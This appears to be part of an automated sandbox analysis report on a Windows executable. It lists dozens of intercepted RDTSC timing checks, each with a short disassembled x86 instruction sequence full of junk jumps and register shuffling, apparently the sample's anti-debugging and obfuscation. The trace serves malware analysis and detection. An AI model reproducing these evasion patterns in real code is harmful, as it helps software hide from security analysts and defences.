Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: DA0B05 second address: DA0B0A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: DA0BA6 second address: DA0BAB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: DA0DED second address: DA0DF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: DA0DF1 second address: DA0E1B instructions: 0x00000000 rdtsc 0x00000002 je 00007F62B85207D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b jmp 00007F62B85207E6h 0x00000010 pop ebx 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 pushad 0x00000015 push edx 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: DA0E1B second address: DA0E2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F62B87735DDh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: DA0E2F second address: DA0E33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: DA0E33 second address: DA0EA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov dh, cl 0x0000000a push dword ptr [ebp+122D2A9Ch] 0x00000010 mov dh, 77h 0x00000012 call 00007F62B87735D9h 0x00000017 jns 00007F62B87735E3h 0x0000001d push eax 0x0000001e push eax 0x0000001f push eax 0x00000020 jc 00007F62B87735D6h 0x00000026 pop eax 0x00000027 pop eax 0x00000028 mov eax, dword ptr [esp+04h] 0x0000002c jns 00007F62B87735E4h 0x00000032 mov eax, dword ptr [eax] 0x00000034 jmp 00007F62B87735E5h 0x00000039 mov dword ptr [esp+04h], eax 0x0000003d push eax 0x0000003e push edx 0x0000003f jnl 00007F62B87735D8h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: DA27C3 second address: DA27C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: DA27C7 second address: DA27D7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F62B87735D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: DA27D7 second address: DA27E5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F62B85207D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: DA2341 second address: DA234C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: DA4312 second address: DA4318 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52C0021 second address: 52C0025 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52C0025 second address: 52C005B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov cx, 8625h 0x0000000a popad 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d movzx ecx, di 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 call 00007F62B85207E2h 0x00000018 mov bx, ax 0x0000001b pop eax 0x0000001c movsx edi, si 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 mov esi, 2B66CDF1h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52C005B second address: 52C006F instructions: 0x00000000 rdtsc 0x00000002 mov ax, 582Dh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 movzx ecx, bx 0x0000000b popad 0x0000000c mov ebp, esp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52C006F second address: 52C0073 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52C0073 second address: 52C0079 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52A0DDF second address: 52A0DE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52A0DE3 second address: 52A0DE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52E0F0F second address: 52E0F68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 49C4h 0x00000007 movsx edx, si 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e jmp 00007F62B85207E4h 0x00000013 push eax 0x00000014 jmp 00007F62B85207DBh 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b mov cl, F9h 0x0000001d mov dh, 34h 0x0000001f popad 0x00000020 mov ebp, esp 0x00000022 pushad 0x00000023 jmp 00007F62B85207E6h 0x00000028 mov bx, si 0x0000002b popad 0x0000002c pop ebp 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 mov dx, ax 0x00000033 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52E0F68 second address: 52E0F72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 mov edi, ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52E0F72 second address: 52E0F76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 5280126 second address: 528019F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B87735E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov eax, 3F6AF203h 0x00000010 pushad 0x00000011 mov dx, si 0x00000014 mov ecx, 1B4714F1h 0x00000019 popad 0x0000001a popad 0x0000001b push eax 0x0000001c jmp 00007F62B87735E7h 0x00000021 xchg eax, ebp 0x00000022 jmp 00007F62B87735E6h 0x00000027 mov ebp, esp 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F62B87735E7h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 528019F second address: 52801A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52A0B64 second address: 52A0B6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52A0B6A second address: 52A0BA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F62B85207DCh 0x00000009 sbb esi, 532E9DC8h 0x0000000f jmp 00007F62B85207DBh 0x00000014 popfd 0x00000015 mov edi, esi 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F62B85207E0h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52A0BA4 second address: 52A0BAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52A0BAA second address: 52A0BAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52A0BAE second address: 52A0BDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F62B87735E9h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push edx 0x00000014 pop ecx 0x00000015 mov ecx, edi 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52A0BDA second address: 52A0BED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, ch 0x00000005 mov eax, ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov dh, cl 0x00000010 mov ah, dh 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52A06FF second address: 52A07AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F62B87735DEh 0x00000009 and eax, 3D0EDC18h 0x0000000f jmp 00007F62B87735DBh 0x00000014 popfd 0x00000015 call 00007F62B87735E8h 0x0000001a pop ecx 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e push eax 0x0000001f pushad 0x00000020 jmp 00007F62B87735DEh 0x00000025 jmp 00007F62B87735E2h 0x0000002a popad 0x0000002b xchg eax, ebp 0x0000002c pushad 0x0000002d mov al, 6Ah 0x0000002f pushfd 0x00000030 jmp 00007F62B87735E3h 0x00000035 sub al, FFFFFF9Eh 0x00000038 jmp 00007F62B87735E9h 0x0000003d popfd 0x0000003e popad 0x0000003f mov ebp, esp 0x00000041 pushad 0x00000042 jmp 00007F62B87735DCh 0x00000047 push eax 0x00000048 push edx 0x00000049 mov di, si 0x0000004c rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52A0425 second address: 52A044A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B85207E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F62B85207DDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52A044A second address: 52A045A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62B87735DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52B00A0 second address: 52B00A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52B00A6 second address: 52B00F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B87735DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b jmp 00007F62B87735DEh 0x00000010 mov ch, 43h 0x00000012 popad 0x00000013 push eax 0x00000014 jmp 00007F62B87735DCh 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F62B87735E7h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52E0DFC second address: 52E0E4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B85207DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F62B85207E4h 0x00000011 xor si, F5D8h 0x00000016 jmp 00007F62B85207DBh 0x0000001b popfd 0x0000001c mov bx, cx 0x0000001f popad 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F62B85207E0h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52E0E4A second address: 52E0ECB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B87735DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F62B87735E6h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F62B87735DEh 0x00000018 sbb al, FFFFFFC8h 0x0000001b jmp 00007F62B87735DBh 0x00000020 popfd 0x00000021 push ecx 0x00000022 pushfd 0x00000023 jmp 00007F62B87735DFh 0x00000028 xor eax, 6A14100Eh 0x0000002e jmp 00007F62B87735E9h 0x00000033 popfd 0x00000034 pop esi 0x00000035 popad 0x00000036 pop ebp 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52E0ECB second address: 52E0EE3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B85207E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52E0EE3 second address: 52E0EE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52E0EE9 second address: 52E0EED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52C03CA second address: 52C03DC instructions: 0x00000000 rdtsc 0x00000002 mov edi, 1826F6ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52C03DC second address: 52C03E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52C03E0 second address: 52C03F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B87735DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52C03F3 second address: 52C040B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62B85207E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52C040B second address: 52C040F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52C040F second address: 52C047B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c mov edi, 62181B80h 0x00000011 jmp 00007F62B85207E9h 0x00000016 popad 0x00000017 and dword ptr [eax], 00000000h 0x0000001a pushad 0x0000001b mov ebx, eax 0x0000001d mov ah, 33h 0x0000001f popad 0x00000020 and dword ptr [eax+04h], 00000000h 0x00000024 jmp 00007F62B85207DBh 0x00000029 pop ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007F62B85207DBh 0x00000033 jmp 00007F62B85207E3h 0x00000038 popfd 0x00000039 mov si, AC0Fh 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52A05B9 second address: 52A05BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52A05BD second address: 52A05C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52A05C3 second address: 52A05C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52A05C9 second address: 52A05CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52B0EF8 second address: 52B0F5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push edx 0x00000007 jmp 00007F62B87735E2h 0x0000000c mov dword ptr [esp], ebp 0x0000000f pushad 0x00000010 movzx eax, bx 0x00000013 pushfd 0x00000014 jmp 00007F62B87735E3h 0x00000019 adc eax, 59798CBEh 0x0000001f jmp 00007F62B87735E9h 0x00000024 popfd 0x00000025 popad 0x00000026 mov ebp, esp 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F62B87735DDh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52B0F5E second address: 52B0F90 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B85207E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F62B85207E8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52B0F90 second address: 52B0F9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B87735DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52C0200 second address: 52C0206 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52C0206 second address: 52C020A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52C020A second address: 52C0247 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F62B85207E9h 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 mov dl, ah 0x00000013 mov ax, bx 0x00000016 popad 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F62B85207DDh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52C0247 second address: 52C024D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52E069A second address: 52E06F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B85207DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c movzx ecx, dx 0x0000000f pushad 0x00000010 call 00007F62B85207E7h 0x00000015 pop esi 0x00000016 push edi 0x00000017 pop eax 0x00000018 popad 0x00000019 popad 0x0000001a push esi 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F62B85207DDh 0x00000024 or ax, 1206h 0x00000029 jmp 00007F62B85207E1h 0x0000002e popfd 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52E06F7 second address: 52E06FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52E06FC second address: 52E077C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B85207E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ecx 0x0000000c pushad 0x0000000d push esi 0x0000000e mov edi, 07091A16h 0x00000013 pop edx 0x00000014 pushfd 0x00000015 jmp 00007F62B85207DCh 0x0000001a xor ax, 9308h 0x0000001f jmp 00007F62B85207DBh 0x00000024 popfd 0x00000025 popad 0x00000026 mov eax, dword ptr [774365FCh] 0x0000002b jmp 00007F62B85207E6h 0x00000030 test eax, eax 0x00000032 jmp 00007F62B85207E0h 0x00000037 je 00007F632A5F39CEh 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 push edx 0x00000041 pop eax 0x00000042 pushad 0x00000043 popad 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52E077C second address: 52E0782 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52E0782 second address: 52E07D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, eax 0x0000000a pushad 0x0000000b mov ebx, eax 0x0000000d mov edi, esi 0x0000000f popad 0x00000010 xor eax, dword ptr [ebp+08h] 0x00000013 jmp 00007F62B85207E7h 0x00000018 and ecx, 1Fh 0x0000001b pushad 0x0000001c call 00007F62B85207E4h 0x00000021 mov cx, 6621h 0x00000025 pop ecx 0x00000026 push eax 0x00000027 push edx 0x00000028 call 00007F62B85207DDh 0x0000002d pop ecx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52E07D9 second address: 52E07FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 ror eax, cl 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F62B87735E8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52E07FC second address: 52E080E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62B85207DEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52E080E second address: 52E088F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 jmp 00007F62B87735E7h 0x0000000e retn 0004h 0x00000011 nop 0x00000012 mov esi, eax 0x00000014 lea eax, dword ptr [ebp-08h] 0x00000017 xor esi, dword ptr [00B02014h] 0x0000001d push eax 0x0000001e push eax 0x0000001f push eax 0x00000020 lea eax, dword ptr [ebp-10h] 0x00000023 push eax 0x00000024 call 00007F62BCF93E17h 0x00000029 push FFFFFFFEh 0x0000002b jmp 00007F62B87735E6h 0x00000030 pop eax 0x00000031 jmp 00007F62B87735E0h 0x00000036 ret 0x00000037 nop 0x00000038 push eax 0x00000039 call 00007F62BCF93E3Ah 0x0000003e mov edi, edi 0x00000040 jmp 00007F62B87735E0h 0x00000045 xchg eax, ebp 0x00000046 pushad 0x00000047 mov si, 014Dh 0x0000004b mov ax, 6549h 0x0000004f popad 0x00000050 push eax 0x00000051 jmp 00007F62B87735DFh 0x00000056 xchg eax, ebp 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52E088F second address: 52E0893 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52E0893 second address: 52E08AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B87735E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52E08AE second address: 52E08C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62B85207E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 52E08C6 second address: 52E08FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b jmp 00007F62B87735DDh 0x00000010 movzx ecx, dx 0x00000013 popad 0x00000014 pop ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 call 00007F62B87735E4h 0x0000001d pop eax 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 529000D second address: 5290043 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 pushfd 0x00000007 jmp 00007F62B85207DAh 0x0000000c adc si, BC98h 0x00000011 jmp 00007F62B85207DBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c push esi 0x0000001d mov ax, dx 0x00000020 pop edi 0x00000021 mov cl, A5h 0x00000023 popad 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 5290043 second address: 5290047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 5290047 second address: 5290062 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62B85207E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.6.exe	RDTSC instruction interceptor: First address: 5290062 second address: 529007A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62B87735E4h 0x00000009 rdtsc
